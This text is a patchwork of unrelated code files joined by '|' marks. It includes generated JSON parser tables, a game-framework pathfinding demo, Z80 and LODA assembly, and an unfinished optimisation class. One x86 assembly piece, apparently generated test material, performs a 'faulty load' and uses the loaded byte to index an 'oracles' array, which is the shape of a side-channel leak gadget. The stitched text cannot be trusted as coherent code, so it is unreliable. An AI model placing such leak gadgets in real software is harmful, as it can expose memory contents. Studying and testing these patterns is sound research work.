{&symbols[4], &states[5], nullptr, 0, 0, -1, (TransitionType) 0, 18},
{&symbols[4], &states[5], nullptr, 0, 0, -1, (TransitionType) 0, 19},
{&symbols[12], &states[17], nullptr, 0, 0, -1, (TransitionType) 0, 20},
{&symbols[13], &states[18], nullptr, 0, 0, -1, (TransitionType) 0, 21},
{&symbols[14], &states[19], nullptr, 0, 0, -1, (TransitionType) 0, 22},
{&symbols[15], &states[20], nullptr, 0, 0, -1, (TransitionType) 0, 23},
{&symbols[16], &states[23], nullptr, 0, 0, -1, (TransitionType) 0, 24},
{&symbols[17], &states[21], nullptr, 0, 0, -1, (TransitionType) 0, 25},
{&symbols[18], &states[22], nullptr, 0, 0, -1, (TransitionType) 0, 26},
{&symbols[6], &states[12], nullptr, 0, 0, -1, (TransitionType) 0, 27},
{&symbols[9], &states[6], nullptr, 0, 0, -1, (TransitionType) 0, 28},
{&symbols[6], nullptr, &symbols[5], 5, 0, 1, (TransitionType) 1, 29},
{&symbols[9], nullptr, &symbols[5], 5, 0, 1, (TransitionType) 1, 30},
{&symbols[6], nullptr, &symbols[8], 3, 0, 2, (TransitionType) 1, 31},
{&symbols[9], nullptr, &symbols[8], 3, 0, 2, (TransitionType) 1, 32},
{&symbols[6], nullptr, &symbols[8], 1, 0, 3, (TransitionType) 1, 33},
{&symbols[9], nullptr, &symbols[8], 1, 0, 3, (TransitionType) 1, 34},
{&symbols[6], nullptr, &symbols[10], 1, 0, 4, (TransitionType) 1, 35},
{&symbols[9], nullptr, &symbols[10], 1, 0, 4, (TransitionType) 1, 36},
{&symbols[6], nullptr, &symbols[10], 1, 0, 4, (TransitionType) 1, 37},
{&symbols[9], nullptr, &symbols[10], 1, 0, 4, (TransitionType) 1, 38},
{&symbols[6], nullptr, &symbols[11], 3, 0, 5, (TransitionType) 1, 39},
{&symbols[9], nullptr, &symbols[11], 3, 0, 5, (TransitionType) 1, 40},
{&symbols[6], nullptr, &symbols[12], 1, 0, 6, (TransitionType) 1, 41},
{&symbols[9], nullptr, &symbols[12], 1, 0, 6, (TransitionType) 1, 42},
{&symbols[6], nullptr, &symbols[12], 1, 0, 6, (TransitionType) 1, 43},
{&symbols[9], nullptr, &symbols[12], 1, 0, 6, (TransitionType) 1, 44},
{&symbols[6], nullptr, &symbols[12], 1, 0, 6, (TransitionType) 1, 45},
{&symbols[9], nullptr, &symbols[12], 1, 0, 6, (TransitionType) 1, 46},
{&symbols[6], nullptr, &symbols[12], 1, 0, 6, (TransitionType) 1, 47},
{&symbols[9], nullptr, &symbols[12], 1, 0, 6, (TransitionType) 1, 48},
{&symbols[6], nullptr, &symbols[12], 1, 0, 6, (TransitionType) 1, 49},
{&symbols[9], nullptr, &symbols[12], 1, 0, 6, (TransitionType) 1, 50},
{&symbols[6], nullptr, &symbols[12], 1, 0, 6, (TransitionType) 1, 51},
{&symbols[9], nullptr, &symbols[12], 1, 0, 6, (TransitionType) 1, 52},
{nullptr, nullptr, nullptr, 0, 0, 0, (TransitionType) 0, -1}
};
const ParserState states [] =
{
{0, 2, &transitions[0]},
{1, 1, &transitions[2]},
{2, 2, &transitions[3]},
{3, 1, &transitions[5]},
{4, 1, &transitions[6]},
{5, 5, &transitions[7]},
{6, 4, &transitions[12]},
{7, 1, &transitions[16]},
{8, 1, &transitions[17]},
{9, 1, &transitions[18]},
{10, 8, &transitions[19]},
{11, 2, &transitions[27]},
{12, 2, &transitions[29]},
{13, 2, &transitions[31]},
{14, 2, &transitions[33]},
{15, 2, &transitions[35]},
{16, 2, &transitions[37]},
{17, 2, &transitions[39]},
{18, 2, &transitions[41]},
{19, 2, &transitions[43]},
{20, 2, &transitions[45]},
{21, 2, &transitions[47]},
{22, 2, &transitions[49]},
{23, 2, &transitions[51]},
{-1, 0, nullptr}
};
const LexerAction lexer_actions [] =
{
{0, "string"},
{-1, nullptr}
};
const LexerTransition lexer_transitions [] =
{
{34, 35, &lexer_states[15], nullptr},
{39, 40, &lexer_states[15], nullptr},
{43, 44, &lexer_states[29], nullptr},
{44, 45, &lexer_states[11], nullptr},
{45, 46, &lexer_states[29], nullptr},
{48, 58, &lexer_states[30], nullptr},
{58, 59, &lexer_states[8], nullptr},
{101, 102, &lexer_states[1], nullptr},
{102, 103, &lexer_states[13], nullptr},
{110, 111, &lexer_states[7], nullptr},
{116, 117, &lexer_states[12], nullptr},
{123, 124, &lexer_states[6], nullptr},
{125, 126, &lexer_states[10], nullptr},
{114, 115, &lexer_states[2], nullptr},
{114, 115, &lexer_states[3], nullptr},
{111, 112, &lexer_states[4], nullptr},
{114, 115, &lexer_states[5], nullptr},
{117, 118, &lexer_states[9], nullptr},
{108, 109, &lexer_states[18], nullptr},
{114, 115, &lexer_states[22], nullptr},
{97, 98, &lexer_states[23], nullptr},
{0, 2147483647, &lexer_states[16], &lexer_actions[0]},
{108, 109, &lexer_states[17], nullptr},
{101, 102, &lexer_states[19], nullptr},
{115, 116, &lexer_states[24], nullptr},
{117, 118, &lexer_states[20], nullptr},
{108, 109, &lexer_states[21], nullptr},
{101, 102, &lexer_states[14], nullptr},
{48, 58, &lexer_states[26], nullptr},
{48, 58, &lexer_states[26], nullptr},
{69, 70, &lexer_states[31], nullptr},
{101, 102, &lexer_states[31], nullptr},
{48, 58, &lexer_states[28], nullptr},
{48, 58, &lexer_states[28], nullptr},
{48, 58, &lexer_states[30], nullptr},
{46, 47, &lexer_states[25], nullptr},
{48, 58, &lexer_states[30], nullptr},
{69, 70, &lexer_states[31], nullptr},
{101, 102, &lexer_states[31], nullptr},
{43, 44, &lexer_states[27], nullptr},
{45, 46, &lexer_states[27], nullptr},
{48, 58, &lexer_states[28], nullptr},
{-1, -1, nullptr, nullptr}
};
const LexerState lexer_states [] =
{
{0, 13, &lexer_transitions[0], nullptr},
{1, 1, &lexer_transitions[13], nullptr},
{2, 1, &lexer_transitions[14], nullptr},
{3, 1, &lexer_transitions[15], nullptr},
{4, 1, &lexer_transitions[16], nullptr},
{5, 0, &lexer_transitions[17], &symbols[2]},
{6, 0, &lexer_transitions[17], &symbols[4]},
{7, 1, &lexer_transitions[17], nullptr},
{8, 0, &lexer_transitions[18], &symbols[7]},
{9, 1, &lexer_transitions[18], nullptr},
{10, 0, &lexer_transitions[19], &symbols[6]},
{11, 0, &lexer_transitions[19], &symbols[9]},
{12, 1, &lexer_transitions[19], nullptr},
{13, 1, &lexer_transitions[20], nullptr},
{14, 0, &lexer_transitions[21], &symbols[15]},
{15, 1, &lexer_transitions[21], nullptr},
{16, 0, &lexer_transitions[22], &symbols[16]},
{17, 0, &lexer_transitions[22], &symbols[13]},
{18, 1, &lexer_transitions[22], nullptr},
{19, 0, &lexer_transitions[23], &symbols[14]},
{20, 1, &lexer_transitions[23], nullptr},
{21, 1, &lexer_transitions[24], nullptr},
{22, 1, &lexer_transitions[25], nullptr},
{23, 1, &lexer_transitions[26], nullptr},
{24, 1, &lexer_transitions[27], nullptr},
{25, 1, &lexer_transitions[28], nullptr},
{26, 3, &lexer_transitions[29], &symbols[18]},
{27, 1, &lexer_transitions[32], nullptr},
{28, 1, &lexer_transitions[33], &symbols[18]},
{29, 1, &lexer_transitions[34], nullptr},
{30, 4, &lexer_transitions[35], &symbols[17]},
{31, 3, &lexer_transitions[39], nullptr},
{-1, 0, nullptr, nullptr}
};
const LexerStateMachine lexer_state_machine =
{
1, // #actions
42, // #transitions
32, // #states
lexer_actions, // actions
lexer_transitions, // transitions
lexer_states, // states
&lexer_states[0] // start state
};
const LexerAction whitespace_lexer_actions [] =
{
{-1, nullptr}
};
const LexerTransition whitespace_lexer_transitions [] =
{
{9, 11, &whitespace_lexer_states[0], nullptr},
{13, 14, &whitespace_lexer_states[0], nullptr},
{32, 33, &whitespace_lexer_states[0], nullptr},
{-1, -1, nullptr, nullptr}
};
const LexerState whitespace_lexer_states [] =
{
{0, 3, &whitespace_lexer_transitions[0], nullptr},
{-1, 0, nullptr, nullptr}
};
const LexerStateMachine whitespace_lexer_state_machine =
{
0, // #actions
3, // #transitions
1, // #states
whitespace_lexer_actions, // actions
whitespace_lexer_transitions, // transitions
whitespace_lexer_states, // states
&whitespace_lexer_states[0] // start state
};
const ParserStateMachine parser_state_machine =
{
"json",
7, // #actions
19, // #symbols
53, // #transitions
24, // #states
actions,
symbols,
transitions,
states,
&symbols[0], // start symbol
&symbols[1], // end symbol
&symbols[2], // error symbol
&states[0], // start state
&lexer_state_machine, // lexer state machine
&whitespace_lexer_state_machine // whitespace lexer state machine
};
}
const ParserStateMachine* json_parser_state_machine = &parser_state_machine;
|
.global s_prepare_buffers
s_prepare_buffers:
push %r12
push %r13
push %r15
push %rax
push %rbp
push %rcx
push %rdi
push %rsi
lea addresses_normal_ht+0xd649, %r12
nop
nop
nop
nop
nop
xor %rdi, %rdi
mov (%r12), %ebp
nop
nop
nop
nop
cmp $63820, %rsi
lea addresses_WC_ht+0xd9c5, %rcx
sub %rax, %rax
vmovups (%rcx), %ymm4
vextracti128 $0, %ymm4, %xmm4
vpextrq $0, %xmm4, %r13
nop
and %r13, %r13
lea addresses_normal_ht+0x8499, %rax
nop
nop
add $49517, %r13
mov (%rax), %r12
sub $35923, %rdi
lea addresses_WC_ht+0x1a79f, %rsi
lea addresses_WT_ht+0x1c099, %rdi
nop
nop
nop
nop
nop
cmp %r15, %r15
mov $101, %rcx
rep movsl
nop
nop
nop
nop
nop
dec %rsi
lea addresses_D_ht+0xc885, %rsi
nop
nop
nop
and %r15, %r15
and $0xffffffffffffffc0, %rsi
movntdqa (%rsi), %xmm2
vpextrq $0, %xmm2, %r13
nop
cmp %r12, %r12
lea addresses_WT_ht+0xd499, %rcx
add $64281, %rax
mov $0x6162636465666768, %r13
movq %r13, %xmm2
vmovups %ymm2, (%rcx)
nop
nop
add $21401, %rsi
lea addresses_normal_ht+0x16099, %rcx
nop
sub $13836, %r15
mov (%rcx), %r12w
nop
nop
nop
nop
nop
sub %r12, %r12
lea addresses_A_ht+0xdb99, %rcx
nop
nop
nop
xor $40399, %rbp
movw $0x6162, (%rcx)
add $10647, %r15
lea addresses_D_ht+0x1bdd9, %rdi
nop
nop
nop
nop
nop
xor %r12, %r12
movb $0x61, (%rdi)
nop
nop
nop
nop
nop
inc %rbp
lea addresses_WT_ht+0x7e8f, %rbp
nop
nop
nop
nop
sub %r13, %r13
movups (%rbp), %xmm5
vpextrq $1, %xmm5, %r15
nop
nop
nop
nop
nop
sub $14310, %r12
lea addresses_WC_ht+0x3ea5, %rdi
nop
inc %rbp
mov (%rdi), %ecx
nop
nop
nop
cmp %rdi, %rdi
pop %rsi
pop %rdi
pop %rcx
pop %rbp
pop %rax
pop %r15
pop %r13
pop %r12
ret
.global s_faulty_load
s_faulty_load:
push %r10
push %r11
push %r15
push %r8
push %r9
push %rbp
push %rbx
// Store
lea addresses_PSE+0x1c499, %rbp
cmp $46235, %r8
mov $0x5152535455565758, %r10
movq %r10, %xmm5
movups %xmm5, (%rbp)
add %rbp, %rbp
// Store
lea addresses_WC+0xcb89, %rbx
nop
xor $5392, %r9
movw $0x5152, (%rbx)
nop
nop
sub $61490, %r9
// Load
mov $0xa99, %r11
inc %r8
mov (%r11), %ebx
nop
nop
nop
nop
cmp $57152, %rbx
// Faulty Load
lea addresses_WT+0xec99, %r11
nop
nop
nop
nop
sub $59300, %rbx
mov (%r11), %bp
lea oracles, %rbx
and $0xff, %rbp
shlq $12, %rbp
mov (%rbx,%rbp,1), %rbp
pop %rbx
pop %rbp
pop %r9
pop %r8
pop %r15
pop %r11
pop %r10
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'type': 'addresses_WT', 'AVXalign': False, 'congruent': 0, 'size': 8, 'same': False, 'NT': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_PSE', 'AVXalign': False, 'congruent': 11, 'size': 16, 'same': False, 'NT': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_WC', 'AVXalign': False, 'congruent': 4, 'size': 2, 'same': False, 'NT': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_P', 'AVXalign': False, 'congruent': 4, 'size': 4, 'same': False, 'NT': False}}
[Faulty Load]
{'OP': 'LOAD', 'src': {'type': 'addresses_WT', 'AVXalign': False, 'congruent': 0, 'size': 2, 'same': True, 'NT': False}}
<gen_prepare_buffer>
{'OP': 'LOAD', 'src': {'type': 'addresses_normal_ht', 'AVXalign': False, 'congruent': 3, 'size': 4, 'same': True, 'NT': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_WC_ht', 'AVXalign': False, 'congruent': 1, 'size': 32, 'same': False, 'NT': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_normal_ht', 'AVXalign': False, 'congruent': 11, 'size': 8, 'same': False, 'NT': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_WC_ht', 'congruent': 1, 'same': False}, 'dst': {'type': 'addresses_WT_ht', 'congruent': 9, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_D_ht', 'AVXalign': False, 'congruent': 1, 'size': 16, 'same': False, 'NT': True}}
{'OP': 'STOR', 'dst': {'type': 'addresses_WT_ht', 'AVXalign': False, 'congruent': 10, 'size': 32, 'same': True, 'NT': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_normal_ht', 'AVXalign': False, 'congruent': 8, 'size': 2, 'same': False, 'NT': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_A_ht', 'AVXalign': False, 'congruent': 8, 'size': 2, 'same': False, 'NT': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_D_ht', 'AVXalign': False, 'congruent': 6, 'size': 1, 'same': True, 'NT': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_WT_ht', 'AVXalign': False, 'congruent': 1, 'size': 16, 'same': False, 'NT': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_WC_ht', 'AVXalign': False, 'congruent': 2, 'size': 4, 'same': True, 'NT': False}}
{'00': 21829}
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
*/
|
#ruledef test
{
ld {x} => 0x55 @ x`8
}
global1:
.local1:
..local2 ; error: expected
ld global1.local1 |
; A013957: sigma_9(n), the sum of the 9th powers of the divisors of n.
; 1,513,19684,262657,1953126,10097892,40353608,134480385,387440173,1001953638,2357947692,5170140388,10604499374,20701400904,38445332184,68853957121,118587876498,198756808749,322687697780,513002215782,794320419872,1209627165996,1801152661464,2647111898340,3814699218751,5440108178862,7625984925160,10599157616456,14507145975870,19722455410392,26439622160672,35253226045953,46413842369328,60835580643474,78815680978608,101763873519661,129961739795078,165538788961140,208738965677816,262657136433510
add $0,1
mov $2,$0
mov $3,8
lpb $0
pow $3,9
add $1,$3
mov $3,$2
dif $3,$0
cmp $3,$2
cmp $3,0
mul $3,$0
sub $0,1
lpe
sub $1,134217727
mov $0,$1
|
/*
* Gamedev Framework (gf)
* Copyright (C) 2016-2021 Julien Bernard
*
* This software is provided 'as-is', without any express or implied
* warranty. In no event will the authors be held liable for any damages
* arising from the use of this software.
*
* Permission is granted to anyone to use this software for any purpose,
* including commercial applications, and to alter it and redistribute it
* freely, subject to the following restrictions:
*
* 1. The origin of this software must not be misrepresented; you must not
* claim that you wrote the original software. If you use this software
* in a product, an acknowledgment in the product documentation would be
* appreciated but is not required.
* 2. Altered source versions must be plainly marked as such, and must not be
* misrepresented as being the original software.
* 3. This notice may not be removed or altered from any source distribution.
*/
#include <cstdlib>
#include <cstdio>
#include <deque>
#include <iostream>
#include <vector>
#include <gf/Color.h>
#include <gf/Event.h>
#include <gf/Geometry.h>
#include <gf/Grid.h>
#include <gf/Map.h>
#include <gf/Math.h>
#include <gf/Particles.h>
#include <gf/Random.h>
#include <gf/RenderWindow.h>
#include <gf/Shapes.h>
#include <gf/VectorOps.h>
#include <gf/VertexArray.h>
#include <gf/Window.h>
static constexpr int GridSize = 60;
static constexpr float CellSize = 10.0f;
static constexpr int Size = GridSize * CellSize;
static const char *ExampleMap[GridSize] = {
"############################################################",
"# # # #",
"# ## ### # # #",
"# ### ### #",
"# ## ### # # #",
"# # ## ###### # #",
"# ## ## ########### ########### ######## #####",
"### ##### ######## # # #",
"#### ########## # # #",
"#### ##### # # #",
"##### #### # #",
"## ###### # # # #",
"# #### # # # #",
"# ######### ## ############# ############ #####",
"# ### ## # # #",
"# # ## #### # # #",
"# ## ### ##### # # # #",
"# ### ## # # # #",
"# #### # # # ## #",
"# #### # ## #",
"# # # # #",
"# ## # # #",
"# ### # # #",
"# ## ####################### ########",
"# ### #",
"# ## #",
"# #",
"# ########################## #",
"# # # #",
"# # # #",
"# # # #",
"# # #",
"# # #",
"# # #",
"# # #",
"# # #",
"# # #",
"# # #",
"# # # #",
"# # # #",
"# # # #",
"# ########################## #",
"# #",
"# #",
"# #",
"# ################### ### ###",
"# ##### # # ########## # #",
"# # #### ###### # # #",
"############################### # # ######## ##### #",
"# # ########### #",
"# ## # ######## # ############### ### ####### # ##",
"# #### ## # # ######### # # ####",
"# ## ### # # ############# # # # # ## ## # #",
"########### ### # # # # ## ###### ###### ## #### #",
"# # # ########### # # # # # # #",
"# ####### ######### # #### # ###### ####### # ## #",
"# # # ##### ### # # # # #",
"# ################### # ######## ########## ### #### #",
"# # ##### # # #",
"############################################################"
};
enum class Mode {
FoV,
Route,
};
int main() {
static constexpr int ExampleMaxRadius = 12;
static constexpr std::size_t DiagonalCostsCount = 3;
static constexpr float DiagonalCosts[DiagonalCostsCount] = { 0.0f, 1.0f, gf::Sqrt2 };
gf::Window window("26_map", { Size, Size }, ~gf::WindowHints::Resizable);
gf::RenderWindow renderer(window);
std::cout << "Gamedev Framework (gf) example #26: Map\n";
std::cout << "This example shows field of vision and route finding in a square grid.\n";
std::cout << "How to use:\n";
std::cout << "\tM: change mode between field of vision and route finding\n";
std::cout << "\tEscape: Close the window\n";
std::cout << "How to use (Mode: FoV):\n";
std::cout << "\tMouse move: Set the origin of the field of vision\n";
std::cout << "\tR: Toggle max radius betwen 0 (no limit) and " << ExampleMaxRadius << '\n';
std::cout << "\tC: Clear the explored cells\n";
std::cout << "How to use (Mode: Route):\n";
std::cout << "\tMouse button: Set the first end point\n";
std::cout << "\tMouse move: Set the second end point\n";
std::cout << "\tD: Toggle diagonal cost between 0 (no diagonal), 1 and sqrt(2)\n";
std::cout << "\tR: Toggle route algorithm between Dijkstra and A*\n";
std::cout << '\n';
gf::SquareMap map({ GridSize, GridSize });
gf::SquareGrid grid({ GridSize, GridSize }, { CellSize, CellSize }, gf::Color::Azure);
// build a map
for (auto position : map.getRange()) {
if (ExampleMap[position.y][position.x] == ' ') {
map.setEmpty(position);
}
}
Mode mode = Mode::FoV;
gf::Vector2i light(1, 1);
int maxRadius = 0;
std::size_t diagonalCostIndex = 2;
gf::Route route = gf::Route::Dijkstra;
gf::Vector2i start(1, 1);
gf::Vector2i end(1, 1);
std::vector<gf::Vector2i> points;
gf::Vector2i position;
renderer.clear(gf::Color::White);
while (window.isOpen()) {
gf::Event event;
while (window.pollEvent(event)) {
switch (event.type) {
case gf::EventType::Closed:
window.close();
break;
case gf::EventType::KeyPressed:
switch (event.key.keycode) {
case gf::Keycode::Escape:
window.close();
break;
case gf::Keycode::M:
if (mode == Mode::FoV) {
mode = Mode::Route;
std::cout << "Mode: Route\n";
if (route == gf::Route::Dijkstra) {
std::cout << "\tRoute: Dijkstra\n";
} else {
std::cout << "\tRoute: AStar\n";
}
std::cout << "\tDiagonal cost: " << DiagonalCosts[diagonalCostIndex] << '\n';
} else {
mode = Mode::FoV;
std::cout << "Mode: FoV\n";
std::cout << "\tMax radius: " << maxRadius << '\n';
}
break;
case gf::Keycode::D:
if (mode == Mode::Route) {
diagonalCostIndex = (diagonalCostIndex + 1) % DiagonalCostsCount;
std::cout << "Diagonal cost: " << DiagonalCosts[diagonalCostIndex] << '\n';
points = map.computeRoute(start, end, DiagonalCosts[diagonalCostIndex], route);
}
break;
case gf::Keycode::R:
if (mode == Mode::Route) {
if (route == gf::Route::Dijkstra) {
route = gf::Route::AStar;
std::cout << "Route: A*\n";
} else {
route = gf::Route::Dijkstra;
std::cout << "Route: Dijkstra\n";
}
points = map.computeRoute(start, end, DiagonalCosts[diagonalCostIndex], route);
} else {
if (maxRadius == 0) {
maxRadius = ExampleMaxRadius;
} else {
maxRadius = 0;
}
map.clearFieldOfVision();
map.computeFieldOfVision(light, maxRadius);
std::cout << "Max radius: " << maxRadius << '\n';
}
break;
case gf::Keycode::C:
if (mode == Mode::FoV) {
map.clearExplored();
}
break;
default:
break;
}
break;
case gf::EventType::MouseMoved:
position = renderer.mapPixelToCoords(event.mouseCursor.coords) / CellSize;
if (mode == Mode::Route) {
if (position != end && map.isWalkable(position)) {
end = position;
points = map.computeRoute(start, end, DiagonalCosts[diagonalCostIndex], route);
}
} else {
assert(mode == Mode::FoV);
if (position != light && map.isTransparent(position)) {
light = position;
map.clearFieldOfVision();
map.computeFieldOfVision(light, maxRadius);
}
}
break;
case gf::EventType::MouseButtonPressed:
if (mode == Mode::Route) {
position = renderer.mapPixelToCoords(event.mouseButton.coords) / CellSize;
if (position != start && map.isWalkable(position)) {
start = position;
points = map.computeRoute(start, end, DiagonalCosts[diagonalCostIndex], route);
}
}
break;
default:
break;
}
}
renderer.clear();
gf::ShapeParticles particles;
for (auto point : map.getRange()) {
if (!map.isWalkable(point)) {
particles.addRectangle(point * CellSize, { CellSize, CellSize }, gf::Color::Black);
}
}
if (mode == Mode::Route) {
for (auto& point : points) {
particles.addRectangle(point * CellSize, { CellSize, CellSize }, gf::Color::Orange);
}
} else {
assert(mode == Mode::FoV);
for (auto point : map.getRange()) {
if (map.isInFieldOfVision(point)) {
particles.addRectangle(point * CellSize, { CellSize, CellSize },
map.isWalkable(point) ? gf::Color::Yellow : gf::Color::Gray());
} else if (map.isExplored(point)) {
particles.addRectangle(point * CellSize, { CellSize, CellSize },
map.isWalkable(point) ? gf::Color::lighter(gf::Color::Yellow, 0.7f) : gf::Color::Gray(0.7f));
}
}
particles.addRectangle(light * CellSize, { CellSize, CellSize }, gf::Color::Orange);
}
renderer.draw(particles);
renderer.draw(grid);
renderer.display();
}
return 0;
}
|
; ===============================================================
; Jan 2014
; ===============================================================
;
; size_t getdelim(char **lineptr, size_t *n, int delimiter, FILE *stream)
;
; Reads characters from the stream up to and including the delimiter
; char and stores them in the buffer provided, then zero terminates
; the buffer.
;
; The existing buffer is communicated by passing its start address
; in *lineptr and its size in *n. This buffer must have been
; allocated by malloc() as getdelim() will try to grow the buffer
; using realloc() if the amount of space provided is insufficient.
;
; If *lineptr == 0 or *n == 0, getdelim() will call malloc() to
; create an initial buffer.
;
; If delimiter > 255, the subroutine behaves as if there is no
; delimiter and stream chars will be read until either memory
; allocation fails or an error occurs on the stream.
;
; ===============================================================
INCLUDE "clib_cfg.asm"
SECTION code_stdio
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
IF __CLIB_OPT_MULTITHREAD & $02
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
PUBLIC asm_getdelim
EXTERN asm0_getdelim_unlocked, __stdio_lock_release
asm_getdelim:
; enter : ix = FILE *
; bc = int delimiter
; de = size_t *n
; hl = char **lineptr
;
; exit : ix = FILE *
;
; success
;
; *lineptr = address of buffer
; *n = size of buffer in bytes, including '\0'
;
; hl = number of chars written to buffer (not including '\0')
; carry reset
;
; fail
;
; hl = -1
; carry set
;
; uses : all except ix
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
IF __CLIB_OPT_STDIO & $01
EXTERN __stdio_verify_valid_lock
call __stdio_verify_valid_lock
ret c
ELSE
EXTERN __stdio_lock_acquire, error_enolck_mc
call __stdio_lock_acquire
jp c, error_enolck_mc
ENDIF
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
call asm0_getdelim_unlocked
jp __stdio_lock_release
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
ELSE
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
PUBLIC asm_getdelim
EXTERN asm_getdelim_unlocked
defc asm_getdelim = asm_getdelim_unlocked
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
ENDIF
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
|
#include "ECF_base.h"
#include "ECF_macro.h"
#include "AlgGenHookeJeeves.h"
#include "SelFitnessProportionalOp.h"
#include "SelRandomOp.h"
#include "floatingpoint/FloatingPoint.h"
GenHookeJeeves::GenHookeJeeves()
{
// define algorithm name (for referencing in config file)
name_ = "GenHookeJeeves";
// inital state
areGenotypesAdded_ = false;
// create selection operators needed
selFitPropOp_ = static_cast<SelectionOperatorP> (new SelFitnessProportionalOp);
selBestOp_ = static_cast<SelectionOperatorP> (new SelBestOp);
selRandomOp_ = static_cast<SelectionOperatorP> (new SelRandomOp);
}
void GenHookeJeeves::registerParameters(StateP state)
{
// preciznost: minimalni delta_x
registerParameter(state, "precision", (voidP) new double(0.000001), ECF::DOUBLE);
// pocetni pomak (pocetni delta_x)
registerParameter(state, "delta", (voidP) new double(1.), ECF::DOUBLE);
// samo lokalna pretraga
registerParameter(state, "localonly", (voidP) new uint(0), ECF::UINT);
}
bool GenHookeJeeves::initialize(StateP state)
{
// algorithm accepts a single FloatingPoint or Binary genotype
// or a genotype derived from the abstract RealValueGenotype class
GenotypeP activeGenotype = state->getGenotypes()[0];
RealValueGenotypeP rv = boost::dynamic_pointer_cast<RealValueGenotype> (activeGenotype);
if(!rv) {
ECF_LOG_ERROR(state, "Error: This algorithm accepts only a RealValueGenotype derived genotype! (FloatingPoint or Binary)");
throw ("");
}
// initialize all operators
selFitPropOp_->initialize(state);
selBestOp_->initialize(state);
selRandomOp_->initialize(state);
// read parameter values
voidP sptr = getParameterValue(state, "precision");
precision_ = *((double*) sptr.get());
sptr = getParameterValue(state, "delta");
